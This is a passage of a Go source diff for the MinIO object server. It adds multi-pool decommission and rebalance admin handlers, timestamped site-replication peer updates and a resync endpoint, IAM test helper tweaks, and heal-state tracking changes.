+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	writeSuccessResponseJSON(w, encryptedData)
+}
@@ -19,13 +19,21 @@ package cmd

 import (
 	"encoding/json"
+	"errors"
+	"fmt"
 	"net/http"
+	"strings"

-	"github.com/gorilla/mux"
 	"github.com/minio/minio/internal/logger"
+	"github.com/minio/mux"
 	iampolicy "github.com/minio/pkg/iam/policy"
 )

+var (
+	errRebalanceDecommissionAlreadyRunning = errors.New("Rebalance cannot be started, decommission is aleady in progress")
+	errDecommissionRebalanceAlreadyRunning = errors.New("Decommission cannot be started, rebalance is already in progress")
+)
+
 func (a adminAPIHandlers) StartDecommission(w http.ResponseWriter, r *http.Request) {
 	ctx := newContext(r, w, "StartDecommission")

@@ -42,23 +50,53 @@ func (a adminAPIHandlers) StartDecommission(w http.ResponseWriter, r *http.Reque
 		return
 	}

-	pools, ok := objectAPI.(*erasureServerPools)
-	if !ok {
+	z, ok := objectAPI.(*erasureServerPools)
+	if !ok || len(z.serverPools) == 1 {
 		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrNotImplemented), r.URL)
 		return
 	}

+	if z.IsDecommissionRunning() {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, errDecommissionAlreadyRunning), r.URL)
+		return
+	}
+
+	if z.IsRebalanceStarted() {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminRebalanceAlreadyStarted), r.URL)
+		return
+	}
+
 	vars := mux.Vars(r)
 	v := vars["pool"]

-	idx := globalEndpoints.GetPoolIdx(v)
-	if idx == -1 {
-		// We didn't find any matching pools, invalid input
-		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, errInvalidArgument), r.URL)
-		return
+	pools := strings.Split(v, ",")
+	poolIndices := make([]int, 0, len(pools))
+
+	for _, pool := range pools {
+		idx := globalEndpoints.GetPoolIdx(pool)
+		if idx == -1 {
+			// We didn't find any matching pools, invalid input
+			writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, errInvalidArgument), r.URL)
+			return
+		}
+		var pool *erasureSets
+		for pidx := range z.serverPools {
+			if pidx == idx {
+				pool = z.serverPools[idx]
+				break
+			}
+		}
+		if pool == nil {
+			// We didn't find any matching pools, invalid input
+			writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, errInvalidArgument), r.URL)
+			return
+		}
+
+		poolIndices = append(poolIndices, idx)
 	}

-	if ep := globalEndpoints[idx].Endpoints[0]; !ep.IsLocal {
+	if len(poolIndices) > 0 && globalEndpoints[poolIndices[0]].Endpoints[0].IsLocal {
+		ep := globalEndpoints[poolIndices[0]].Endpoints[0]
 		for nodeIdx, proxyEp := range globalProxyEndpoints {
 			if proxyEp.Endpoint.Host == ep.Host {
 				if proxyRequestByNodeIndex(ctx, w, r, nodeIdx) {
@@ -68,7 +106,7 @@ func (a adminAPIHandlers) StartDecommission(w http.ResponseWriter, r *http.Reque
 		}
 	}

-	if err := pools.Decommission(r.Context(), idx); err != nil {
+	if err := z.Decommission(r.Context(), poolIndices...); err != nil {
 		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
 		return
 	}
@@ -149,8 +187,10 @@ func (a adminAPIHandlers) StatusPool(w http.ResponseWriter, r *http.Request) {

 	idx := globalEndpoints.GetPoolIdx(v)
 	if idx == -1 {
+		apiErr := toAdminAPIErr(ctx, errInvalidArgument)
+		apiErr.Description = fmt.Sprintf("specified pool '%s' not found, please specify a valid pool", v)
 		// We didn't find any matching pools, invalid input
-		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, errInvalidArgument), r.URL)
+		writeErrorResponseJSON(ctx, w, apiErr, r.URL)
 		return
 	}

@@ -197,3 +237,137 @@ func (a adminAPIHandlers) ListPools(w http.ResponseWriter, r *http.Request) {

 	logger.LogIf(r.Context(), json.NewEncoder(w).Encode(poolsStatus))
 }
+
+func (a adminAPIHandlers) RebalanceStart(w http.ResponseWriter, r *http.Request) {
+	ctx := newContext(r, w, "RebalanceStart")
+	defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))
+
+	objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.RebalanceAdminAction)
+	if objectAPI == nil {
+		return
+	}
+
+	// NB rebalance-start admin API is always coordinated from first pool's
+	// first node. The following is required to serialize (the effects of)
+	// concurrent rebalance-start commands.
+	if ep := globalEndpoints[0].Endpoints[0]; !ep.IsLocal {
+		for nodeIdx, proxyEp := range globalProxyEndpoints {
+			if proxyEp.Endpoint.Host == ep.Host {
+				if proxyRequestByNodeIndex(ctx, w, r, nodeIdx) {
+					return
+				}
+			}
+		}
+	}
+
+	pools, ok := objectAPI.(*erasureServerPools)
+	if !ok || len(pools.serverPools) == 1 {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrNotImplemented), r.URL)
+		return
+	}
+
+	if pools.IsDecommissionRunning() {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, errRebalanceDecommissionAlreadyRunning), r.URL)
+		return
+	}
+
+	if pools.IsRebalanceStarted() {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminRebalanceAlreadyStarted), r.URL)
+		return
+	}
+
+	bucketInfos, err := objectAPI.ListBuckets(ctx, BucketOptions{})
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAPIError(ctx, err), r.URL)
+		return
+	}
+
+	buckets := make([]string, 0, len(bucketInfos))
+	for _, bInfo := range bucketInfos {
+		buckets = append(buckets, bInfo.Name)
+	}
+
+	var id string
+	if id, err = pools.initRebalanceMeta(ctx, buckets); err != nil {
+		writeErrorResponseJSON(ctx, w, toAPIError(ctx, err), r.URL)
+		return
+	}
+
+	// Rebalance routine is run on the first node of any pool participating in rebalance.
+	pools.StartRebalance()
+
+	b, err := json.Marshal(struct {
+		ID string `json:"id"`
+	}{ID: id})
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAPIError(ctx, err), r.URL)
+		return
+	}
+
+	writeSuccessResponseJSON(w, b)
+	// Notify peers to load rebalance.bin and start rebalance routine if they happen to be
+	// participating pool's leader node
+	globalNotificationSys.LoadRebalanceMeta(ctx, true)
+}
+
+func (a adminAPIHandlers) RebalanceStatus(w http.ResponseWriter, r *http.Request) {
+	ctx := newContext(r, w, "RebalanceStatus")
+	defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))
+
+	objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.RebalanceAdminAction)
+	if objectAPI == nil {
+		return
+	}
+
+	// Proxy rebalance-status to first pool first node, so that users see a
+	// consistent view of rebalance progress even though different rebalancing
+	// pools may temporarily have out of date info on the others.
+	if ep := globalEndpoints[0].Endpoints[0]; !ep.IsLocal {
+		for nodeIdx, proxyEp := range globalProxyEndpoints {
+			if proxyEp.Endpoint.Host == ep.Host {
+				if proxyRequestByNodeIndex(ctx, w, r, nodeIdx) {
+					return
+				}
+			}
+		}
+	}
+
+	pools, ok := objectAPI.(*erasureServerPools)
+	if !ok {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrNotImplemented), r.URL)
+		return
+	}
+
+	rs, err := rebalanceStatus(ctx, pools)
+	if err != nil {
+		if errors.Is(err, errRebalanceNotStarted) || errors.Is(err, errConfigNotFound) {
+			writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminRebalanceNotStarted), r.URL)
+			return
+		}
+		logger.LogIf(ctx, fmt.Errorf("failed to fetch rebalance status: %w", err))
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+	logger.LogIf(r.Context(), json.NewEncoder(w).Encode(rs))
+}
+
+func (a adminAPIHandlers) RebalanceStop(w http.ResponseWriter, r *http.Request) {
+	ctx := newContext(r, w, "RebalanceStop")
+	defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))
+
+	objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.RebalanceAdminAction)
+	if objectAPI == nil {
+		return
+	}
+
+	pools, ok := objectAPI.(*erasureServerPools)
+	if !ok {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrNotImplemented), r.URL)
+		return
+	}
+
+	// Cancel any ongoing rebalance operation
+	globalNotificationSys.StopRebalance(r.Context())
+	writeSuccessResponseHeadersOnly(w)
+	logger.LogIf(ctx, pools.saveRebalanceStats(GlobalContext, 0, rebalSaveStoppedAt))
+}
@@ -22,11 +22,12 @@ import (
 	"context"
 	"encoding/json"
 	"io"
-	"io/ioutil"
 	"net/http"
+	"strings"
+	"time"

-	"github.com/gorilla/mux"
-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
+	"github.com/minio/mux"

 	"github.com/minio/minio/internal/logger"
 	"github.com/minio/pkg/bucket/policy"
@@ -113,22 +114,27 @@ func (a adminAPIHandlers) SRPeerBucketOps(w http.ResponseWriter, r *http.Request
 	default:
 		err = errSRInvalidRequest(errInvalidArgument)
 	case madmin.MakeWithVersioningBktOp:
-		_, isLockEnabled := r.Form["lockEnabled"]
-		_, isVersioningEnabled := r.Form["versioningEnabled"]
-		_, isForceCreate := r.Form["forceCreate"]
-		opts := BucketOptions{
-			Location:          r.Form.Get("location"),
-			LockEnabled:       isLockEnabled,
-			VersioningEnabled: isVersioningEnabled,
-			ForceCreate:       isForceCreate,
+		createdAt, cerr := time.Parse(time.RFC3339Nano, strings.TrimSpace(r.Form.Get("createdAt")))
+		if cerr != nil {
+			createdAt = timeSentinel
+		}
+
+		opts := MakeBucketOptions{
+			LockEnabled:       r.Form.Get("lockEnabled") == "true",
+			VersioningEnabled: r.Form.Get("versioningEnabled") == "true",
+			ForceCreate:       r.Form.Get("forceCreate") == "true",
+			CreatedAt:         createdAt,
 		}
 		err = globalSiteReplicationSys.PeerBucketMakeWithVersioningHandler(ctx, bucket, opts)
 	case madmin.ConfigureReplBktOp:
 		err = globalSiteReplicationSys.PeerBucketConfigureReplHandler(ctx, bucket)
-	case madmin.DeleteBucketBktOp:
-		err = globalSiteReplicationSys.PeerBucketDeleteHandler(ctx, bucket, false)
-	case madmin.ForceDeleteBucketBktOp:
-		err = globalSiteReplicationSys.PeerBucketDeleteHandler(ctx, bucket, true)
+	case madmin.DeleteBucketBktOp, madmin.ForceDeleteBucketBktOp:
+		err = globalSiteReplicationSys.PeerBucketDeleteHandler(ctx, bucket, DeleteBucketOptions{
+			Force:      operation == madmin.ForceDeleteBucketBktOp,
+			SRDeleteOp: getSRBucketDeleteOp(true),
+		})
+	case madmin.PurgeDeletedBucketOp:
+		globalSiteReplicationSys.purgeDeletedBucket(ctx, objectAPI, bucket)
 	}
 	if err != nil {
 		logger.LogIf(ctx, err)
@@ -160,7 +166,7 @@ func (a adminAPIHandlers) SRPeerReplicateIAMItem(w http.ResponseWriter, r *http.
 		err = errSRInvalidRequest(errInvalidArgument)
 	case madmin.SRIAMItemPolicy:
 		if item.Policy == nil {
-			err = globalSiteReplicationSys.PeerAddPolicyHandler(ctx, item.Name, nil)
+			err = globalSiteReplicationSys.PeerAddPolicyHandler(ctx, item.Name, nil, item.UpdatedAt)
 		} else {
 			policy, perr := iampolicy.ParseConfig(bytes.NewReader(item.Policy))
 			if perr != nil {
@@ -168,21 +174,21 @@ func (a adminAPIHandlers) SRPeerReplicateIAMItem(w http.ResponseWriter, r *http.
 				return
 			}
 			if policy.IsEmpty() {
-				err = globalSiteReplicationSys.PeerAddPolicyHandler(ctx, item.Name, nil)
+				err = globalSiteReplicationSys.PeerAddPolicyHandler(ctx, item.Name, nil, item.UpdatedAt)
 			} else {
-				err = globalSiteReplicationSys.PeerAddPolicyHandler(ctx, item.Name, policy)
+				err = globalSiteReplicationSys.PeerAddPolicyHandler(ctx, item.Name, policy, item.UpdatedAt)
 			}
 		}
 	case madmin.SRIAMItemSvcAcc:
-		err = globalSiteReplicationSys.PeerSvcAccChangeHandler(ctx, item.SvcAccChange)
+		err = globalSiteReplicationSys.PeerSvcAccChangeHandler(ctx, item.SvcAccChange, item.UpdatedAt)
 	case madmin.SRIAMItemPolicyMapping:
-		err = globalSiteReplicationSys.PeerPolicyMappingHandler(ctx, item.PolicyMapping)
+		err = globalSiteReplicationSys.PeerPolicyMappingHandler(ctx, item.PolicyMapping, item.UpdatedAt)
 	case madmin.SRIAMItemSTSAcc:
-		err = globalSiteReplicationSys.PeerSTSAccHandler(ctx, item.STSCredential)
+		err = globalSiteReplicationSys.PeerSTSAccHandler(ctx, item.STSCredential, item.UpdatedAt)
 	case madmin.SRIAMItemIAMUser:
-		err = globalSiteReplicationSys.PeerIAMUserChangeHandler(ctx, item.IAMUser)
+		err = globalSiteReplicationSys.PeerIAMUserChangeHandler(ctx, item.IAMUser, item.UpdatedAt)
 	case madmin.SRIAMItemGroupInfo:
-		err = globalSiteReplicationSys.PeerGroupInfoChangeHandler(ctx, item.GroupInfo)
+		err = globalSiteReplicationSys.PeerGroupInfoChangeHandler(ctx, item.GroupInfo, item.UpdatedAt)
 	}
 	if err != nil {
 		logger.LogIf(ctx, err)
@@ -214,7 +220,7 @@ func (a adminAPIHandlers) SRPeerReplicateBucketItem(w http.ResponseWriter, r *ht
 		err = errSRInvalidRequest(errInvalidArgument)
 	case madmin.SRBucketMetaTypePolicy:
 		if item.Policy == nil {
-			err = globalSiteReplicationSys.PeerBucketPolicyHandler(ctx, item.Bucket, nil)
+			err = globalSiteReplicationSys.PeerBucketPolicyHandler(ctx, item.Bucket, nil, item.UpdatedAt)
 		} else {
 			bktPolicy, berr := policy.ParseConfig(bytes.NewReader(item.Policy), item.Bucket)
 			if berr != nil {
@@ -222,33 +228,33 @@ func (a adminAPIHandlers) SRPeerReplicateBucketItem(w http.ResponseWriter, r *ht
 				return
 			}
 			if bktPolicy.IsEmpty() {
-				err = globalSiteReplicationSys.PeerBucketPolicyHandler(ctx, item.Bucket, nil)
+				err = globalSiteReplicationSys.PeerBucketPolicyHandler(ctx, item.Bucket, nil, item.UpdatedAt)
 			} else {
-				err = globalSiteReplicationSys.PeerBucketPolicyHandler(ctx, item.Bucket, bktPolicy)
+				err = globalSiteReplicationSys.PeerBucketPolicyHandler(ctx, item.Bucket, bktPolicy, item.UpdatedAt)
 			}
 		}
 	case madmin.SRBucketMetaTypeQuotaConfig:
 		if item.Quota == nil {
-			err = globalSiteReplicationSys.PeerBucketQuotaConfigHandler(ctx, item.Bucket, nil)
+			err = globalSiteReplicationSys.PeerBucketQuotaConfigHandler(ctx, item.Bucket, nil, item.UpdatedAt)
 		} else {
 			quotaConfig, err := parseBucketQuota(item.Bucket, item.Quota)
 			if err != nil {
 				writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
 				return
 			}
-			if err = globalSiteReplicationSys.PeerBucketQuotaConfigHandler(ctx, item.Bucket, quotaConfig); err != nil {
+			if err = globalSiteReplicationSys.PeerBucketQuotaConfigHandler(ctx, item.Bucket, quotaConfig, item.UpdatedAt); err != nil {
 				writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 				return
 			}
 		}
 	case madmin.SRBucketMetaTypeVersionConfig:
-		err = globalSiteReplicationSys.PeerBucketVersioningHandler(ctx, item.Bucket, item.Versioning)
+		err = globalSiteReplicationSys.PeerBucketVersioningHandler(ctx, item.Bucket, item.Versioning, item.UpdatedAt)
 	case madmin.SRBucketMetaTypeTags:
-		err = globalSiteReplicationSys.PeerBucketTaggingHandler(ctx, item.Bucket, item.Tags)
+		err = globalSiteReplicationSys.PeerBucketTaggingHandler(ctx, item.Bucket, item.Tags, item.UpdatedAt)
 	case madmin.SRBucketMetaTypeObjectLockConfig:
-		err = globalSiteReplicationSys.PeerBucketObjectLockConfigHandler(ctx, item.Bucket, item.ObjectLockConfig)
+		err = globalSiteReplicationSys.PeerBucketObjectLockConfigHandler(ctx, item.Bucket, item.ObjectLockConfig, item.UpdatedAt)
 	case madmin.SRBucketMetaTypeSSEConfig:
-		err = globalSiteReplicationSys.PeerBucketSSEConfigHandler(ctx, item.Bucket, item.SSEConfig)
+		err = globalSiteReplicationSys.PeerBucketSSEConfigHandler(ctx, item.Bucket, item.SSEConfig, item.UpdatedAt)
 	}
 	if err != nil {
 		logger.LogIf(ctx, err)
@@ -298,7 +304,7 @@ func (a adminAPIHandlers) SRPeerGetIDPSettings(w http.ResponseWriter, r *http.Re
 }

 func parseJSONBody(ctx context.Context, body io.Reader, v interface{}, encryptionKey string) error {
-	data, err := ioutil.ReadAll(body)
+	data, err := io.ReadAll(body)
 	if err != nil {
 		return SRError{
 			Cause: err,
@@ -436,6 +442,7 @@ func getSRStatusOptions(r *http.Request) (opts madmin.SRStatusOptions) {
 	opts.Users = q.Get("users") == "true"
 	opts.Entity = madmin.GetSREntityType(q.Get("entity"))
 	opts.EntityValue = q.Get("entityvalue")
+	opts.ShowDeleted = q.Get("showDeleted") == "true"
 	return
 }

@@ -494,3 +501,45 @@ func (a adminAPIHandlers) SRPeerRemove(w http.ResponseWriter, r *http.Request) {
 		return
 	}
 }
+
+// SiteReplicationResyncOp - PUT /minio/admin/v3/site-replication/resync/op
+func (a adminAPIHandlers) SiteReplicationResyncOp(w http.ResponseWriter, r *http.Request) {
+	ctx := newContext(r, w, "SiteReplicationResyncOp")
+
+	defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))
+
+	objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.SiteReplicationResyncAction)
+	if objectAPI == nil {
+		return
+	}
+
+	var peerSite madmin.PeerInfo
+	if err := parseJSONBody(ctx, r.Body, &peerSite, ""); err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+	vars := mux.Vars(r)
+	op := madmin.SiteResyncOp(vars["operation"])
+	var (
+		status madmin.SRResyncOpStatus
+		err    error
+	)
+	switch op {
+	case madmin.SiteResyncStart:
+		status, err = globalSiteReplicationSys.startResync(ctx, objectAPI, peerSite)
+	case madmin.SiteResyncCancel:
+		status, err = globalSiteReplicationSys.cancelResync(ctx, objectAPI, peerSite)
+	default:
+		err = errSRInvalidRequest(errInvalidArgument)
+	}
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+	body, err := json.Marshal(status)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+	writeSuccessResponseJSON(w, body)
+}
@@ -31,7 +31,7 @@ import (
 	"testing"
 	"time"

-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	minio "github.com/minio/minio-go/v7"
 )

@@ -24,7 +24,7 @@ import (
 	"encoding/hex"
 	"encoding/json"
 	"fmt"
-	"io/ioutil"
+	"io"
 	"net/http"
 	"net/url"
 	"os"
@@ -33,8 +33,8 @@ import (
 	"testing"
 	"time"

-	"github.com/minio/madmin-go"
-	minio "github.com/minio/minio-go/v7"
+	"github.com/minio/madmin-go/v2"
+	"github.com/minio/minio-go/v7"
 	"github.com/minio/minio-go/v7/pkg/credentials"
 	cr "github.com/minio/minio-go/v7/pkg/credentials"
 	"github.com/minio/minio-go/v7/pkg/s3utils"
@@ -388,7 +388,7 @@ func (s *TestSuiteIAM) TestUserPolicyEscalationBug(c *check) {
 	req.ContentLength = int64(len(buf))
 	sum := sha256.Sum256(buf)
 	req.Header.Set("X-Amz-Content-Sha256", hex.EncodeToString(sum[:]))
-	req.Body = ioutil.NopCloser(bytes.NewReader(buf))
+	req.Body = io.NopCloser(bytes.NewReader(buf))
 	req = signer.SignV4(*req, accessKey, secretKey, "", "")

 	// 3.1 Execute the request.
@@ -1136,11 +1136,12 @@ func (s *TestSuiteIAM) TestAccMgmtPlugin(c *check) {
 	c.assertSvcAccDeletion(ctx, s, userAdmClient, accessKey, bucket)

 	// 6. Check that service account **can** be created for some other user.
-	// This is possible because of the policy enforced in the plugin.
+	// This is possible because the policy enforced in the plugin.
 	c.mustCreateSvcAccount(ctx, globalActiveCred.AccessKey, userAdmClient)
 }

 func (c *check) mustCreateIAMUser(ctx context.Context, admClnt *madmin.AdminClient) madmin.Credentials {
+	c.Helper()
 	randUser := mustGetUUID()
 	randPass := mustGetUUID()
 	err := admClnt.AddUser(ctx, randUser, randPass)
@@ -1154,6 +1155,7 @@ func (c *check) mustCreateIAMUser(ctx context.Context, admClnt *madmin.AdminClie
 }

 func (c *check) mustGetIAMUserInfo(ctx context.Context, admClnt *madmin.AdminClient, accessKey string) madmin.UserInfo {
+	c.Helper()
 	ui, err := admClnt.GetUserInfo(ctx, accessKey)
 	if err != nil {
 		c.Fatalf("should be able to get user info: %v", err)
@@ -1162,6 +1164,7 @@ func (c *check) mustGetIAMUserInfo(ctx context.Context, admClnt *madmin.AdminCli
 }

 func (c *check) mustNotCreateIAMUser(ctx context.Context, admClnt *madmin.AdminClient) {
+	c.Helper()
 	randUser := mustGetUUID()
 	randPass := mustGetUUID()
 	err := admClnt.AddUser(ctx, randUser, randPass)
@@ -1171,6 +1174,7 @@ func (c *check) mustNotCreateIAMUser(ctx context.Context, admClnt *madmin.AdminC
 }

 func (c *check) mustCreateSvcAccount(ctx context.Context, tgtUser string, admClnt *madmin.AdminClient) madmin.Credentials {
+	c.Helper()
 	cr, err := admClnt.AddServiceAccount(ctx, madmin.AddServiceAccountReq{
 		TargetUser: tgtUser,
 	})
@@ -1181,6 +1185,7 @@ func (c *check) mustCreateSvcAccount(ctx context.Context, tgtUser string, admCln
 }

 func (c *check) mustNotCreateSvcAccount(ctx context.Context, tgtUser string, admClnt *madmin.AdminClient) {
+	c.Helper()
 	_, err := admClnt.AddServiceAccount(ctx, madmin.AddServiceAccountReq{
 		TargetUser: tgtUser,
 	})
@@ -1190,6 +1195,7 @@ func (c *check) mustNotCreateSvcAccount(ctx context.Context, tgtUser string, adm
 }

 func (c *check) mustNotListObjects(ctx context.Context, client *minio.Client, bucket string) {
+	c.Helper()
 	res := client.ListObjects(ctx, bucket, minio.ListObjectsOptions{})
 	v, ok := <-res
 	if !ok || v.Err == nil {
@@ -1197,7 +1203,49 @@ func (c *check) mustNotListObjects(ctx context.Context, client *minio.Client, bu
 	}
 }

+func (c *check) mustPutObjectWithTags(ctx context.Context, client *minio.Client, bucket, object string) {
+	c.Helper()
+	_, err := client.PutObject(ctx, bucket, object, bytes.NewBuffer([]byte("stuff")), 5, minio.PutObjectOptions{
+		UserTags: map[string]string{
+			"security": "public",
+			"virus":    "true",
+		},
+	})
+	if err != nil {
+		c.Fatalf("user was unable to upload the object: %v", err)
+	}
+}
+
+func (c *check) mustGetObject(ctx context.Context, client *minio.Client, bucket, object string) {
+	c.Helper()
+
+	r, err := client.GetObject(ctx, bucket, object, minio.GetObjectOptions{})
+	if err != nil {
+		c.Fatalf("user was unable to download the object: %v", err)
+	}
+	defer r.Close()
+
+	_, err = io.Copy(io.Discard, r)
+	if err != nil {
+		c.Fatalf("user was unable to download the object: %v", err)
+	}
+}
+
+func (c *check) mustHeadObject(ctx context.Context, client *minio.Client, bucket, object string, tagCount int) {
+	c.Helper()
+
+	oinfo, err := client.StatObject(ctx, bucket, object, minio.StatObjectOptions{})
+	if err != nil {
+		c.Fatalf("user was unable to download the object: %v", err)
+	}
+
+	if oinfo.UserTagCount != tagCount {
+		c.Fatalf("expected tagCount: %d, got %d", tagCount, oinfo.UserTagCount)
+	}
+}
+
 func (c *check) mustListObjects(ctx context.Context, client *minio.Client, bucket string) {
+	c.Helper()
 	res := client.ListObjects(ctx, bucket, minio.ListObjectsOptions{})
 	v, ok := <-res
 	if ok && v.Err != nil {
@@ -1205,7 +1253,16 @@ func (c *check) mustListObjects(ctx context.Context, client *minio.Client, bucke
 	}
 }

+func (c *check) mustListBuckets(ctx context.Context, client *minio.Client) {
+	c.Helper()
+	_, err := client.ListBuckets(ctx)
+	if err != nil {
+		c.Fatalf("user was unable to list buckets: %v", err)
+	}
+}
+
 func (c *check) mustNotUpload(ctx context.Context, client *minio.Client, bucket string) {
+	c.Helper()
 	_, err := client.PutObject(ctx, bucket, "some-object", bytes.NewBuffer([]byte("stuff")), 5, minio.PutObjectOptions{})
 	if e, ok := err.(minio.ErrorResponse); ok {
 		if e.Code == "AccessDenied" {
@@ -1221,6 +1278,7 @@ func (c *check) assertSvcAccS3Access(ctx context.Context, s *TestSuiteIAM, cr ma
 }

 func (c *check) assertSvcAccAppearsInListing(ctx context.Context, madmClient *madmin.AdminClient, parentAK, svcAK string) {
+	c.Helper()
 	listResp, err := madmClient.ListServiceAccounts(ctx, parentAK)
 	if err != nil {
 		c.Fatalf("unable to list svc accounts: %v", err)
@@ -1246,6 +1304,7 @@ func (c *check) assertSvcAccInfoQueryable(ctx context.Context, madmClient *madmi
 // bucket. It creates a session policy that restricts listing on the bucket and
 // then enables it again in a session policy update call.
 func (c *check) assertSvcAccSessionPolicyUpdate(ctx context.Context, s *TestSuiteIAM, madmClient *madmin.AdminClient, accessKey, bucket string) {
+	c.Helper()
 	svcAK, svcSK := mustGenerateCredentials(c)

 	// This policy does not allow listing objects.
@@ -1301,6 +1360,7 @@ func (c *check) assertSvcAccSessionPolicyUpdate(ctx context.Context, s *TestSuit
 }

 func (c *check) assertSvcAccSecretKeyAndStatusUpdate(ctx context.Context, s *TestSuiteIAM, madmClient *madmin.AdminClient, accessKey, bucket string) {
+	c.Helper()
 	svcAK, svcSK := mustGenerateCredentials(c)
 	cr, err := madmClient.AddServiceAccount(ctx, madmin.AddServiceAccountReq{
 		TargetUser: accessKey,
@@ -1337,6 +1397,7 @@ func (c *check) assertSvcAccSecretKeyAndStatusUpdate(ctx context.Context, s *Tes
 }

 func (c *check) assertSvcAccDeletion(ctx context.Context, s *TestSuiteIAM, madmClient *madmin.AdminClient, accessKey, bucket string) {
+	c.Helper()
 	svcAK, svcSK := mustGenerateCredentials(c)
 	cr, err := madmClient.AddServiceAccount(ctx, madmin.AddServiceAccountReq{
 		TargetUser: accessKey,
@@ -1357,6 +1418,7 @@ func (c *check) assertSvcAccDeletion(ctx context.Context, s *TestSuiteIAM, madmC
 }

 func mustGenerateCredentials(c *check) (string, string) {
+	c.Helper()
 	ak, sk, err := auth.GenerateCredentials()
 	if err != nil {
 		c.Fatalf("unable to generate credentials: %v", err)
@@ -22,7 +22,6 @@ import (
 	"context"
 	"encoding/json"
 	"io"
-	"io/ioutil"
 	"net/http"
 	"net/http/httptest"
 	"net/url"
@@ -30,9 +29,9 @@ import (
 	"testing"
 	"time"

-	"github.com/gorilla/mux"
-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio/internal/auth"
+	"github.com/minio/mux"
 )

 // adminErasureTestBed - encapsulates subsystems that need to be setup for
@@ -74,7 +73,7 @@ func prepareAdminErasureTestBed(ctx context.Context) (*adminErasureTestBed, erro

 	globalEndpoints = mustGetPoolEndpoints(erasureDirs...)

-	initAllSubsystems()
+	initAllSubsystems(ctx)

 	initConfigSubsystem(ctx, objLayer)

@@ -220,7 +219,7 @@ func testServicesCmdHandler(cmd cmdType, t *testing.T) {
 	adminTestBed.router.ServeHTTP(rec, req)

 	if rec.Code != http.StatusOK {
-		resp, _ := ioutil.ReadAll(rec.Body)
+		resp, _ := io.ReadAll(rec.Body)
 		t.Errorf("Expected to receive %d status code but received %d. Body (%s)",
 			http.StatusOK, rec.Code, string(resp))
 	}
@@ -27,7 +27,7 @@ import (
 	"sync"
 	"time"

-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio/internal/logger"
 )

@@ -91,31 +91,27 @@ type allHealState struct {
 	sync.RWMutex

 	// map of heal path to heal sequence
-	healSeqMap     map[string]*healSequence // Indexed by endpoint
-	healLocalDisks map[Endpoint]struct{}
+	healSeqMap map[string]*healSequence // Indexed by endpoint
+	// keep track of the healing status of disks in the memory
+	//   false: the disk needs to be healed but no healing routine is started
+	//    true: the disk is currently healing
+	healLocalDisks map[Endpoint]bool
 	healStatus     map[string]healingTracker // Indexed by disk ID
 }

 // newHealState - initialize global heal state management
-func newHealState(cleanup bool) *allHealState {
+func newHealState(ctx context.Context, cleanup bool) *allHealState {
 	hstate := &allHealState{
 		healSeqMap:     make(map[string]*healSequence),
-		healLocalDisks: map[Endpoint]struct{}{},
+		healLocalDisks: make(map[Endpoint]bool),
 		healStatus:     make(map[string]healingTracker),
 	}
 	if cleanup {
-		go hstate.periodicHealSeqsClean(GlobalContext)
+		go hstate.periodicHealSeqsClean(ctx)
 	}
 	return hstate
 }

-func (ahs *allHealState) healDriveCount() int {
-	ahs.RLock()
-	defer ahs.RUnlock()
-
-	return len(ahs.healLocalDisks)
-}
-
 func (ahs *allHealState) popHealLocalDisks(healLocalDisks ...Endpoint) {
 	ahs.Lock()
 	defer ahs.Unlock()
@@ -165,23 +161,35 @@ func (ahs *allHealState) getLocalHealingDisks() map[string]madmin.HealingDisk {
 	return dst
 }

+// getHealLocalDiskEndpoints() returns the list of disks that need
+// to be healed but there is no healing routine in progress on them.
 func (ahs *allHealState) getHealLocalDiskEndpoints() Endpoints {
 	ahs.RLock()
 	defer ahs.RUnlock()

 	var endpoints Endpoints
-	for ep := range ahs.healLocalDisks {
-		endpoints = append(endpoints, ep)
+	for ep, healing := range ahs.healLocalDisks {
+		if !healing {
+			endpoints = append(endpoints, ep)
+		}
 	}
 	return endpoints
 }

+// Set, in the memory, the state of the disk as currently healing or not
+func (ahs *allHealState) setDiskHealingStatus(ep Endpoint, healing bool) {
+	ahs.Lock()
+	defer ahs.Unlock()
+
+	ahs.healLocalDisks[ep] = healing
+}
+
